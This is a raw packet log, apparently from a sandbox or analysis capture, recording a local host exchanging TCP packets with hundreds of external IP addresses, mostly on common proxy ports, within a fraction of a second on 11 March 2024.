Mar 11, 2024 16:39:44.087927103 CET	8081	49801	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:44.087970018 CET	50275	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:44.088943005 CET	26087	50033	67.43.228.251	192.168.2.10
Mar 11, 2024 16:39:44.089649916 CET	80	50001	172.67.181.197	192.168.2.10
Mar 11, 2024 16:39:44.089720964 CET	80	50001	172.67.181.197	192.168.2.10
Mar 11, 2024 16:39:44.089972019 CET	50001	80	192.168.2.10	172.67.181.197
Mar 11, 2024 16:39:44.090445042 CET	80	50001	172.67.181.197	192.168.2.10
Mar 11, 2024 16:39:44.090526104 CET	50001	80	192.168.2.10	172.67.181.197
Mar 11, 2024 16:39:44.092746973 CET	8000	49734	14.103.24.148	192.168.2.10
Mar 11, 2024 16:39:44.093050003 CET	4145	49856	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:44.093161106 CET	4145	49856	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:44.093168020 CET	49734	8000	192.168.2.10	14.103.24.148
Mar 11, 2024 16:39:44.093733072 CET	50276	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:44.094480038 CET	3128	49822	15.236.106.236	192.168.2.10
Mar 11, 2024 16:39:44.095644951 CET	50277	5678	192.168.2.10	103.112.254.66
Mar 11, 2024 16:39:44.096256971 CET	3128	49822	15.236.106.236	192.168.2.10
Mar 11, 2024 16:39:44.096848011 CET	37355	49990	167.172.109.12	192.168.2.10
Mar 11, 2024 16:39:44.097181082 CET	50278	4145	192.168.2.10	119.42.71.103
Mar 11, 2024 16:39:44.097353935 CET	49822	3128	192.168.2.10	15.236.106.236
Mar 11, 2024 16:39:44.098181963 CET	49780	50605	192.168.2.10	51.81.89.146
Mar 11, 2024 16:39:44.098186970 CET	50279	24815	192.168.2.10	95.217.104.21
Mar 11, 2024 16:39:44.098186970 CET	49728	80	192.168.2.10	190.186.237.103
Mar 11, 2024 16:39:44.098273039 CET	49730	8080	192.168.2.10	201.20.67.70
Mar 11, 2024 16:39:44.099070072 CET	8000	50036	137.184.200.42	192.168.2.10
Mar 11, 2024 16:39:44.099107981 CET	50281	30189	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:44.099117041 CET	50280	999	192.168.2.10	190.61.41.165
Mar 11, 2024 16:39:44.099200010 CET	50036	8000	192.168.2.10	137.184.200.42
Mar 11, 2024 16:39:44.099524975 CET	50036	8000	192.168.2.10	137.184.200.42
Mar 11, 2024 16:39:44.099606991 CET	50282	80	192.168.2.10	104.17.166.210
Mar 11, 2024 16:39:44.099881887 CET	50283	82	192.168.2.10	117.160.250.163
Mar 11, 2024 16:39:44.100235939 CET	50284	80	192.168.2.10	182.72.203.255
Mar 11, 2024 16:39:44.100760937 CET	8888	50011	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:44.101591110 CET	50285	8000	192.168.2.10	167.172.79.17
Mar 11, 2024 16:39:44.101654053 CET	50011	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:44.103013992 CET	50011	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:44.104145050 CET	8080	49976	92.118.132.125	192.168.2.10
Mar 11, 2024 16:39:44.104867935 CET	80	50005	104.27.15.161	192.168.2.10
Mar 11, 2024 16:39:44.104944944 CET	80	50005	104.27.15.161	192.168.2.10
Mar 11, 2024 16:39:44.105439901 CET	80	50005	104.27.15.161	192.168.2.10
Mar 11, 2024 16:39:44.105654001 CET	50005	80	192.168.2.10	104.27.15.161
Mar 11, 2024 16:39:44.107588053 CET	31679	49847	98.162.25.29	192.168.2.10
Mar 11, 2024 16:39:44.107650995 CET	31679	49847	98.162.25.29	192.168.2.10
Mar 11, 2024 16:39:44.109955072 CET	4145	49850	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:44.109997988 CET	4145	49850	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:44.113814116 CET	49731	1080	192.168.2.10	47.91.110.154
Mar 11, 2024 16:39:44.113814116 CET	49784	31033	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:44.114727974 CET	80	50121	104.20.123.164	192.168.2.10
Mar 11, 2024 16:39:44.114829063 CET	50121	80	192.168.2.10	104.20.123.164
Mar 11, 2024 16:39:44.125128031 CET	13623	49963	36.255.104.1	192.168.2.10
Mar 11, 2024 16:39:44.126446962 CET	4145	49883	184.178.172.14	192.168.2.10
Mar 11, 2024 16:39:44.126498938 CET	80	50135	104.21.194.182	192.168.2.10
Mar 11, 2024 16:39:44.126568079 CET	4145	49883	184.178.172.14	192.168.2.10
Mar 11, 2024 16:39:44.126589060 CET	50135	80	192.168.2.10	104.21.194.182
Mar 11, 2024 16:39:44.127741098 CET	80	50016	162.159.242.138	192.168.2.10
Mar 11, 2024 16:39:44.127774954 CET	80	50016	162.159.242.138	192.168.2.10
Mar 11, 2024 16:39:44.128696918 CET	80	50016	162.159.242.138	192.168.2.10
Mar 11, 2024 16:39:44.129026890 CET	80	50137	172.67.182.0	192.168.2.10
Mar 11, 2024 16:39:44.129122972 CET	50137	80	192.168.2.10	172.67.182.0
Mar 11, 2024 16:39:44.129128933 CET	50016	80	192.168.2.10	162.159.242.138
Mar 11, 2024 16:39:44.129422903 CET	49795	80	192.168.2.10	50.239.72.19
Mar 11, 2024 16:39:44.129513025 CET	49787	32221	192.168.2.10	67.43.228.254
Mar 11, 2024 16:39:44.137891054 CET	50137	80	192.168.2.10	172.67.182.0
Mar 11, 2024 16:39:44.137893915 CET	50016	80	192.168.2.10	162.159.242.138
Mar 11, 2024 16:39:44.138320923 CET	50286	4145	192.168.2.10	184.178.172.14
Mar 11, 2024 16:39:44.138632059 CET	50121	80	192.168.2.10	104.20.123.164
Mar 11, 2024 16:39:44.138700962 CET	50135	80	192.168.2.10	104.21.194.182
Mar 11, 2024 16:39:44.139117002 CET	50287	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:44.139117002 CET	50288	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:44.139123917 CET	50005	80	192.168.2.10	104.27.15.161
Mar 11, 2024 16:39:44.139363050 CET	50289	3128	192.168.2.10	86.107.178.109
Mar 11, 2024 16:39:44.140469074 CET	50290	29497	192.168.2.10	62.171.131.101
Mar 11, 2024 16:39:44.140470982 CET	50291	12113	192.168.2.10	103.49.28.23
Mar 11, 2024 16:39:44.140492916 CET	80	50153	104.16.143.127	192.168.2.10
Mar 11, 2024 16:39:44.140763998 CET	50153	80	192.168.2.10	104.16.143.127
Mar 11, 2024 16:39:44.140840054 CET	50153	80	192.168.2.10	104.16.143.127
Mar 11, 2024 16:39:44.141136885 CET	50292	8080	192.168.2.10	4.236.183.37
Mar 11, 2024 16:39:44.141602993 CET	50293	32824	192.168.2.10	51.68.164.77
Mar 11, 2024 16:39:44.141688108 CET	50294	5555	192.168.2.10	14.225.254.128
Mar 11, 2024 16:39:44.142463923 CET	50295	3128	192.168.2.10	139.99.148.90
Mar 11, 2024 16:39:44.142697096 CET	50296	8080	192.168.2.10	94.131.203.7
Mar 11, 2024 16:39:44.143588066 CET	80	50117	50.145.6.36	192.168.2.10
Mar 11, 2024 16:39:44.143620968 CET	50298	999	192.168.2.10	170.239.207.241
Mar 11, 2024 16:39:44.143624067 CET	50297	81	192.168.2.10	94.153.163.226
Mar 11, 2024 16:39:44.143835068 CET	14282	50067	192.252.208.70	192.168.2.10
Mar 11, 2024 16:39:44.144238949 CET	50300	8080	192.168.2.10	103.124.196.134
Mar 11, 2024 16:39:44.144239902 CET	50299	44195	192.168.2.10	162.19.7.56
Mar 11, 2024 16:39:44.144301891 CET	50067	14282	192.168.2.10	192.252.208.70
Mar 11, 2024 16:39:44.144660950 CET	50067	14282	192.168.2.10	192.252.208.70
Mar 11, 2024 16:39:44.145035982 CET	49759	8123	192.168.2.10	20.24.43.214
Mar 11, 2024 16:39:44.145102978 CET	49760	5678	192.168.2.10	178.212.51.79
Mar 11, 2024 16:39:44.145376921 CET	50301	22500	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:44.145840883 CET	50303	80	192.168.2.10	104.18.161.122
Mar 11, 2024 16:39:44.145842075 CET	50302	30422	192.168.2.10	157.245.131.28
Mar 11, 2024 16:39:44.146440029 CET	50304	43100	192.168.2.10	192.163.201.131
Mar 11, 2024 16:39:44.146678925 CET	50305	3128	192.168.2.10	38.54.116.9
Mar 11, 2024 16:39:44.147351027 CET	50306	2020	192.168.2.10	103.170.115.213
Mar 11, 2024 16:39:44.147953987 CET	50308	80	192.168.2.10	50.231.104.58
Mar 11, 2024 16:39:44.147953987 CET	50307	4153	192.168.2.10	103.84.178.2
Mar 11, 2024 16:39:44.148339987 CET	50309	16379	192.168.2.10	163.172.131.178
Mar 11, 2024 16:39:44.149166107 CET	50310	999	192.168.2.10	45.234.61.173
Mar 11, 2024 16:39:44.149239063 CET	50311	80	192.168.2.10	190.116.2.52
Mar 11, 2024 16:39:44.149909019 CET	50312	8080	192.168.2.10	178.115.253.35
Mar 11, 2024 16:39:44.150347948 CET	50313	31042	192.168.2.10	162.214.227.68
Mar 11, 2024 16:39:44.150538921 CET	50314	3128	192.168.2.10	194.145.209.187
Mar 11, 2024 16:39:44.151596069 CET	50315	65000	192.168.2.10	89.171.116.65
Mar 11, 2024 16:39:44.151820898 CET	50316	999	192.168.2.10	181.78.19.248
Mar 11, 2024 16:39:44.153502941 CET	80	50024	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:44.153534889 CET	50317	8765	192.168.2.10	203.161.30.10
Mar 11, 2024 16:39:44.153656960 CET	50024	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:44.153956890 CET	50024	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:44.154366016 CET	50318	3128	192.168.2.10	46.101.102.134
Mar 11, 2024 16:39:44.154597998 CET	50319	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:44.154814005 CET	50321	8080	192.168.2.10	95.84.166.138
Mar 11, 2024 16:39:44.154815912 CET	50320	59341	192.168.2.10	109.75.34.152
Mar 11, 2024 16:39:44.155260086 CET	50322	4153	192.168.2.10	177.91.76.34
Mar 11, 2024 16:39:44.155649900 CET	4145	50059	174.64.199.79	192.168.2.10
Mar 11, 2024 16:39:44.155821085 CET	50059	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:44.156977892 CET	50323	8080	192.168.2.10	46.209.207.153
Mar 11, 2024 16:39:44.156980038 CET	50324	4145	192.168.2.10	197.234.13.36
Mar 11, 2024 16:39:44.157032013 CET	50059	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:44.158003092 CET	8197	49829	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.158036947 CET	50325	80	192.168.2.10	203.243.63.16
Mar 11, 2024 16:39:44.158051014 CET	45639	49983	103.212.93.241	192.168.2.10
Mar 11, 2024 16:39:44.158107996 CET	49829	8197	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.158185005 CET	49829	8197	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.158960104 CET	50326	8197	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.158960104 CET	50327	80	192.168.2.10	186.124.164.213
Mar 11, 2024 16:39:44.159055948 CET	4145	49972	142.54.229.249	192.168.2.10
Mar 11, 2024 16:39:44.159089088 CET	4145	49972	142.54.229.249	192.168.2.10
Mar 11, 2024 16:39:44.160135031 CET	50329	4153	192.168.2.10	92.255.190.41
Mar 11, 2024 16:39:44.160135984 CET	50330	9123	192.168.2.10	173.249.29.243
Mar 11, 2024 16:39:44.160139084 CET	50328	4145	192.168.2.10	142.54.229.249
Mar 11, 2024 16:39:44.160366058 CET	7853	50100	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:44.160453081 CET	50331	3128	192.168.2.10	62.171.184.96
Mar 11, 2024 16:39:44.160679102 CET	49777	80	192.168.2.10	50.174.145.9
Mar 11, 2024 16:39:44.162475109 CET	80	49920	104.16.105.106	192.168.2.10
Mar 11, 2024 16:39:44.164437056 CET	17893	50106	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:44.168641090 CET	1080	49982	202.142.167.210	192.168.2.10
Mar 11, 2024 16:39:44.169102907 CET	80	49942	104.16.106.65	192.168.2.10
Mar 11, 2024 16:39:44.170296907 CET	8197	49829	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.172415018 CET	14921	50136	192.252.211.197	192.168.2.10
Mar 11, 2024 16:39:44.174493074 CET	80	50196	172.67.150.173	192.168.2.10
Mar 11, 2024 16:39:44.174742937 CET	50196	80	192.168.2.10	172.67.150.173
Mar 11, 2024 16:39:44.174839020 CET	80	50197	104.20.24.214	192.168.2.10
Mar 11, 2024 16:39:44.174971104 CET	50197	80	192.168.2.10	104.20.24.214
Mar 11, 2024 16:39:44.174971104 CET	50196	80	192.168.2.10	172.67.150.173
Mar 11, 2024 16:39:44.175178051 CET	24279	50118	67.43.228.251	192.168.2.10
Mar 11, 2024 16:39:44.175209045 CET	50197	80	192.168.2.10	104.20.24.214
Mar 11, 2024 16:39:44.176295042 CET	49735	37736	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:44.176363945 CET	49733	49478	192.168.2.10	162.241.70.64
Mar 11, 2024 16:39:44.176369905 CET	49749	5678	192.168.2.10	122.152.53.25
Mar 11, 2024 16:39:44.180243969 CET	80	50038	104.20.56.71	192.168.2.10
Mar 11, 2024 16:39:44.180279970 CET	80	50038	104.20.56.71	192.168.2.10
Mar 11, 2024 16:39:44.180563927 CET	80	50038	104.20.56.71	192.168.2.10
Mar 11, 2024 16:39:44.180592060 CET	50038	80	192.168.2.10	104.20.56.71
Mar 11, 2024 16:39:44.180680990 CET	50038	80	192.168.2.10	104.20.56.71
Mar 11, 2024 16:39:44.182805061 CET	80	50041	172.67.53.215	192.168.2.10
Mar 11, 2024 16:39:44.182818890 CET	80	50041	172.67.53.215	192.168.2.10
Mar 11, 2024 16:39:44.183367968 CET	80	50041	172.67.53.215	192.168.2.10
Mar 11, 2024 16:39:44.184142113 CET	80	50211	172.67.38.96	192.168.2.10
Mar 11, 2024 16:39:44.187287092 CET	50211	80	192.168.2.10	172.67.38.96
Mar 11, 2024 16:39:44.187289953 CET	50041	80	192.168.2.10	172.67.53.215
Mar 11, 2024 16:39:44.188261032 CET	80	50220	31.43.179.214	192.168.2.10
Mar 11, 2024 16:39:44.189949989 CET	1431	50125	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:44.190157890 CET	80	49727	50.217.226.43	192.168.2.10
Mar 11, 2024 16:39:44.190582037 CET	50220	80	192.168.2.10	31.43.179.214
Mar 11, 2024 16:39:44.190661907 CET	3128	49878	18.134.236.231	192.168.2.10
Mar 11, 2024 16:39:44.191067934 CET	50211	80	192.168.2.10	172.67.38.96
Mar 11, 2024 16:39:44.191137075 CET	8080	50212	66.225.246.238	192.168.2.10
Mar 11, 2024 16:39:44.191149950 CET	4145	50213	68.1.210.163	192.168.2.10
Mar 11, 2024 16:39:44.191167116 CET	50220	80	192.168.2.10	31.43.179.214
Mar 11, 2024 16:39:44.191241980 CET	50212	8080	192.168.2.10	66.225.246.238
Mar 11, 2024 16:39:44.191241026 CET	50213	4145	192.168.2.10	68.1.210.163
Mar 11, 2024 16:39:44.191241980 CET	50212	8080	192.168.2.10	66.225.246.238
Mar 11, 2024 16:39:44.191705942 CET	50041	80	192.168.2.10	172.67.53.215
Mar 11, 2024 16:39:44.191745043 CET	4145	50214	24.249.199.4	192.168.2.10
Mar 11, 2024 16:39:44.191844940 CET	50214	4145	192.168.2.10	24.249.199.4
Mar 11, 2024 16:39:44.191976070 CET	49718	80	192.168.2.10	41.74.91.244
Mar 11, 2024 16:39:44.192679882 CET	50333	4145	192.168.2.10	202.124.46.97
Mar 11, 2024 16:39:44.192684889 CET	50334	42771	192.168.2.10	162.240.239.103
Mar 11, 2024 16:39:44.192713022 CET	50332	5678	192.168.2.10	171.100.23.244
Mar 11, 2024 16:39:44.193020105 CET	50335	80	192.168.2.10	54.152.3.36
Mar 11, 2024 16:39:44.193022013 CET	50336	83	192.168.2.10	103.48.68.101
Mar 11, 2024 16:39:44.193335056 CET	50339	1981	192.168.2.10	41.65.236.37
Mar 11, 2024 16:39:44.193336010 CET	50338	999	192.168.2.10	190.97.238.88
Mar 11, 2024 16:39:44.193615913 CET	50340	64654	192.168.2.10	162.19.7.53
Mar 11, 2024 16:39:44.193869114 CET	10363	50129	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:44.193912029 CET	50341	999	192.168.2.10	190.95.195.105
Mar 11, 2024 16:39:44.193924904 CET	3128	49878	18.134.236.231	192.168.2.10
Mar 11, 2024 16:39:44.194396019 CET	50343	39789	192.168.2.10	209.142.64.219
Mar 11, 2024 16:39:44.194566011 CET	49878	3128	192.168.2.10	18.134.236.231
Mar 11, 2024 16:39:44.194775105 CET	50342	34172	192.168.2.10	162.241.46.6
Mar 11, 2024 16:39:44.194879055 CET	50344	8811	192.168.2.10	51.158.68.68
Mar 11, 2024 16:39:44.195095062 CET	50345	999	192.168.2.10	190.90.22.106
Mar 11, 2024 16:39:44.195312023 CET	50346	42571	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.195327044 CET	50347	999	192.168.2.10	181.204.0.36
Mar 11, 2024 16:39:44.195627928 CET	50349	80	192.168.2.10	104.25.167.88
Mar 11, 2024 16:39:44.195661068 CET	50348	999	192.168.2.10	179.60.219.63
Mar 11, 2024 16:39:44.195950985 CET	50352	5678	192.168.2.10	201.144.20.231
Mar 11, 2024 16:39:44.195955038 CET	50350	8080	192.168.2.10	137.59.161.177
Mar 11, 2024 16:39:44.196010113 CET	50351	7890	192.168.2.10	116.5.187.116
Mar 11, 2024 16:39:44.196146011 CET	50353	31247	192.168.2.10	202.40.181.220
Mar 11, 2024 16:39:44.196333885 CET	50355	8888	192.168.2.10	136.244.99.51
Mar 11, 2024 16:39:44.196338892 CET	50354	8080	192.168.2.10	182.52.229.165
Mar 11, 2024 16:39:44.196340084 CET	50356	8181	192.168.2.10	103.234.28.211
Mar 11, 2024 16:39:44.196711063 CET	50357	999	192.168.2.10	201.71.3.42
Mar 11, 2024 16:39:44.196711063 CET	50358	80	192.168.2.10	172.67.231.3
Mar 11, 2024 16:39:44.196876049 CET	50359	80	192.168.2.10	115.42.45.1
Mar 11, 2024 16:39:44.197033882 CET	50360	80	192.168.2.10	203.57.51.53
Mar 11, 2024 16:39:44.197033882 CET	50361	6522	192.168.2.10	45.117.179.179
Mar 11, 2024 16:39:44.197381973 CET	50362	4145	192.168.2.10	197.234.13.17
Mar 11, 2024 16:39:44.197556019 CET	50363	27102	192.168.2.10	128.199.196.31
Mar 11, 2024 16:39:44.197557926 CET	50364	999	192.168.2.10	191.97.9.228
Mar 11, 2024 16:39:44.197792053 CET	50365	8080	192.168.2.10	95.57.216.118
Mar 11, 2024 16:39:44.198034048 CET	50366	49202	192.168.2.10	51.161.131.84
Mar 11, 2024 16:39:44.198036909 CET	50368	60964	192.168.2.10	192.163.202.88
Mar 11, 2024 16:39:44.198036909 CET	50367	8080	192.168.2.10	5.78.89.192
Mar 11, 2024 16:39:44.198188066 CET	50369	8080	192.168.2.10	154.73.29.161
Mar 11, 2024 16:39:44.198437929 CET	50371	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:44.198503971 CET	50370	9050	192.168.2.10	45.113.80.37
Mar 11, 2024 16:39:44.198700905 CET	50372	80	192.168.2.10	50.173.140.149
Mar 11, 2024 16:39:44.198807955 CET	50373	999	192.168.2.10	189.173.223.225
Mar 11, 2024 16:39:44.198961973 CET	50375	8080	192.168.2.10	213.184.153.66
Mar 11, 2024 16:39:44.199135065 CET	50374	60200	192.168.2.10	162.241.137.197
Mar 11, 2024 16:39:44.199136972 CET	50376	80	192.168.2.10	91.65.102.60
Mar 11, 2024 16:39:44.199280977 CET	50377	3128	192.168.2.10	220.194.189.144
Mar 11, 2024 16:39:44.199393988 CET	50378	4145	192.168.2.10	72.195.114.169
Mar 11, 2024 16:39:44.199425936 CET	4145	50202	199.102.107.145	192.168.2.10
Mar 11, 2024 16:39:44.199599028 CET	50379	8080	192.168.2.10	103.176.96.132
Mar 11, 2024 16:39:44.199892044 CET	50381	80	192.168.2.10	172.67.3.98
Mar 11, 2024 16:39:44.199892998 CET	50380	39452	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:44.199893951 CET	50382	8080	192.168.2.10	91.148.127.162
Mar 11, 2024 16:39:44.200084925 CET	50383	6001	192.168.2.10	20.106.146.212
Mar 11, 2024 16:39:44.200088024 CET	50384	80	192.168.2.10	104.24.193.186
Mar 11, 2024 16:39:44.200321913 CET	50385	999	192.168.2.10	190.114.245.122
Mar 11, 2024 16:39:44.200350046 CET	50386	37758	192.168.2.10	37.32.98.160
Mar 11, 2024 16:39:44.201086998 CET	50387	2080	192.168.2.10	152.136.151.195
Mar 11, 2024 16:39:44.201086998 CET	50337	8089	192.168.2.10	117.70.49.27
Mar 11, 2024 16:39:44.201245070 CET	50388	80	192.168.2.10	50.218.57.68
Mar 11, 2024 16:39:44.202095032 CET	50389	22735	192.168.2.10	91.142.222.84
Mar 11, 2024 16:39:44.202097893 CET	50390	19599	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:44.202389002 CET	50391	5678	192.168.2.10	36.67.14.195
Mar 11, 2024 16:39:44.203083992 CET	50392	80	192.168.2.10	104.25.81.82
Mar 11, 2024 16:39:44.203088045 CET	50393	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:44.203953981 CET	80	50237	104.17.171.235	192.168.2.10
Mar 11, 2024 16:39:44.203978062 CET	50394	8080	192.168.2.10	216.74.255.182
Mar 11, 2024 16:39:44.203982115 CET	50395	62801	192.168.2.10	146.59.147.11
Mar 11, 2024 16:39:44.204044104 CET	50237	80	192.168.2.10	104.17.171.235
Mar 11, 2024 16:39:44.204520941 CET	50237	80	192.168.2.10	104.17.171.235
Mar 11, 2024 16:39:44.204524040 CET	50396	46983	192.168.2.10	132.148.167.231
Mar 11, 2024 16:39:44.205147028 CET	50397	4145	192.168.2.10	103.58.16.57
Mar 11, 2024 16:39:44.205277920 CET	80	49971	104.18.20.160	192.168.2.10
Mar 11, 2024 16:39:44.205705881 CET	50398	41491	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:44.205705881 CET	50399	4145	192.168.2.10	110.77.232.172
Mar 11, 2024 16:39:44.206378937 CET	80	50047	222.255.238.159	192.168.2.10
Mar 11, 2024 16:39:44.206408024 CET	50400	5432	192.168.2.10	45.196.151.84
Mar 11, 2024 16:39:44.206583023 CET	50047	80	192.168.2.10	222.255.238.159
Mar 11, 2024 16:39:44.206592083 CET	50401	999	192.168.2.10	181.78.22.228
Mar 11, 2024 16:39:44.207170010 CET	50402	80	192.168.2.10	36.92.193.189
Mar 11, 2024 16:39:44.207179070 CET	50047	80	192.168.2.10	222.255.238.159
Mar 11, 2024 16:39:44.207587957 CET	50403	4145	192.168.2.10	103.66.233.225
Mar 11, 2024 16:39:44.207597971 CET	49815	26315	192.168.2.10	72.10.160.171
Mar 11, 2024 16:39:44.207788944 CET	80	50246	172.67.182.126	192.168.2.10
Mar 11, 2024 16:39:44.208008051 CET	50404	4153	192.168.2.10	103.95.97.42
Mar 11, 2024 16:39:44.209326982 CET	59268	50160	67.213.212.50	192.168.2.10
Mar 11, 2024 16:39:44.209353924 CET	50405	5678	192.168.2.10	103.131.8.27
Mar 11, 2024 16:39:44.209464073 CET	50246	80	192.168.2.10	172.67.182.126
Mar 11, 2024 16:39:44.209670067 CET	50246	80	192.168.2.10	172.67.182.126
Mar 11, 2024 16:39:44.212559938 CET	50406	41746	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:44.212568045 CET	50407	3629	192.168.2.10	91.220.69.43
Mar 11, 2024 16:39:44.212630987 CET	50408	3825	192.168.2.10	104.247.163.246
Mar 11, 2024 16:39:44.212646008 CET	8000	50051	14.103.24.20	192.168.2.10
Mar 11, 2024 16:39:44.212898970 CET	50051	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:44.213150024 CET	50051	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:44.213465929 CET	50409	4145	192.168.2.10	168.205.217.13
Mar 11, 2024 16:39:44.213794947 CET	50410	6821	192.168.2.10	198.12.255.193
Mar 11, 2024 16:39:44.213880062 CET	4145	50130	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:44.213988066 CET	50130	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:44.214165926 CET	50411	8888	192.168.2.10	217.219.74.130
Mar 11, 2024 16:39:44.214334965 CET	50130	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:44.214488029 CET	50412	8080	192.168.2.10	27.54.71.231
Mar 11, 2024 16:39:44.214729071 CET	41274	50171	162.241.158.204	192.168.2.10
Mar 11, 2024 16:39:44.214746952 CET	50414	8080	192.168.2.10	193.34.95.110
Mar 11, 2024 16:39:44.214751959 CET	50413	8888	192.168.2.10	120.79.101.0
Mar 11, 2024 16:39:44.215008974 CET	50415	80	192.168.2.10	133.232.90.96
Mar 11, 2024 16:39:44.215157986 CET	50416	20435	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:44.215661049 CET	21777	50164	51.222.84.118	192.168.2.10
Mar 11, 2024 16:39:44.215941906 CET	50417	80	192.168.2.10	154.118.228.212
Mar 11, 2024 16:39:44.216588020 CET	50418	29212	192.168.2.10	92.204.135.203
Mar 11, 2024 16:39:44.216855049 CET	4145	50224	199.102.106.94	192.168.2.10
Mar 11, 2024 16:39:44.216882944 CET	50419	49685	192.168.2.10	195.154.243.38
Mar 11, 2024 16:39:44.219616890 CET	50420	4145	192.168.2.10	92.207.253.226
Mar 11, 2024 16:39:44.220669031 CET	9764	49996	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:44.220757961 CET	9764	49996	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:44.221369028 CET	80	50074	185.238.228.67	192.168.2.10
Mar 11, 2024 16:39:44.221416950 CET	80	50074	185.238.228.67	192.168.2.10
Mar 11, 2024 16:39:44.221724033 CET	50074	80	192.168.2.10	185.238.228.67
Mar 11, 2024 16:39:44.222352982 CET	50422	24543	192.168.2.10	209.159.153.19
Mar 11, 2024 16:39:44.222354889 CET	50421	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:44.222685099 CET	80	50270	172.67.181.129	192.168.2.10
Mar 11, 2024 16:39:44.222770929 CET	50423	16379	192.168.2.10	51.158.77.220
Mar 11, 2024 16:39:44.222872972 CET	50270	80	192.168.2.10	172.67.181.129
Mar 11, 2024 16:39:44.223010063 CET	80	50074	185.238.228.67	192.168.2.10
Mar 11, 2024 16:39:44.223097086 CET	50424	3128	192.168.2.10	188.56.223.85
Mar 11, 2024 16:39:44.223105907 CET	50270	80	192.168.2.10	172.67.181.129
Mar 11, 2024 16:39:44.223176956 CET	50074	80	192.168.2.10	185.238.228.67
Mar 11, 2024 16:39:44.223222017 CET	49770	3128	192.168.2.10	46.245.77.52
Mar 11, 2024 16:39:44.223222017 CET	49782	8080	192.168.2.10	42.200.196.208
Mar 11, 2024 16:39:44.223607063 CET	50425	8080	192.168.2.10	190.104.20.82
Mar 11, 2024 16:39:44.223814964 CET	50426	80	192.168.2.10	102.130.125.86
Mar 11, 2024 16:39:44.223946095 CET	50428	5678	192.168.2.10	203.205.34.58
Mar 11, 2024 16:39:44.223948002 CET	50427	8888	192.168.2.10	188.166.30.17
Mar 11, 2024 16:39:44.224174023 CET	50430	8080	192.168.2.10	8.218.100.120
Mar 11, 2024 16:39:44.224175930 CET	50429	5020	192.168.2.10	176.192.65.34
Mar 11, 2024 16:39:44.224638939 CET	50432	8082	192.168.2.10	80.72.68.247
Mar 11, 2024 16:39:44.224639893 CET	50431	999	192.168.2.10	45.174.248.19
Mar 11, 2024 16:39:44.224639893 CET	50434	25491	192.168.2.10	67.43.227.230
Mar 11, 2024 16:39:44.224708080 CET	50433	4145	192.168.2.10	199.58.185.9
Mar 11, 2024 16:39:44.224740028 CET	40351	49750	51.222.241.157	192.168.2.10
Mar 11, 2024 16:39:44.225044012 CET	50436	31476	192.168.2.10	170.244.64.12
Mar 11, 2024 16:39:44.225047112 CET	50435	26976	192.168.2.10	124.198.74.90
Mar 11, 2024 16:39:44.225919008 CET	50437	64494	192.168.2.10	37.187.77.58
Mar 11, 2024 16:39:44.226691008 CET	50438	80	192.168.2.10	140.83.32.175
Mar 11, 2024 16:39:44.227828979 CET	9080	50200	154.205.152.96	192.168.2.10
Mar 11, 2024 16:39:44.227935076 CET	50200	9080	192.168.2.10	154.205.152.96
Mar 11, 2024 16:39:44.228442907 CET	50200	9080	192.168.2.10	154.205.152.96
Mar 11, 2024 16:39:44.229065895 CET	50440	80	192.168.2.10	172.67.14.237
Mar 11, 2024 16:39:44.229068041 CET	50439	4145	192.168.2.10	184.178.172.3
Mar 11, 2024 16:39:44.229096889 CET	50441	3128	192.168.2.10	59.15.28.76
Mar 11, 2024 16:39:44.229516029 CET	30951	49751	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:44.229541063 CET	50442	80	192.168.2.10	185.238.228.240
Mar 11, 2024 16:39:44.231009960 CET	3128	49875	160.16.90.35	192.168.2.10
Mar 11, 2024 16:39:44.231041908 CET	50443	8080	192.168.2.10	186.233.25.83
Mar 11, 2024 16:39:44.231337070 CET	999	50140	45.229.34.174	192.168.2.10
Mar 11, 2024 16:39:44.231610060 CET	44374	50194	172.93.111.235	192.168.2.10
Mar 11, 2024 16:39:44.231631994 CET	50444	999	192.168.2.10	201.77.108.64
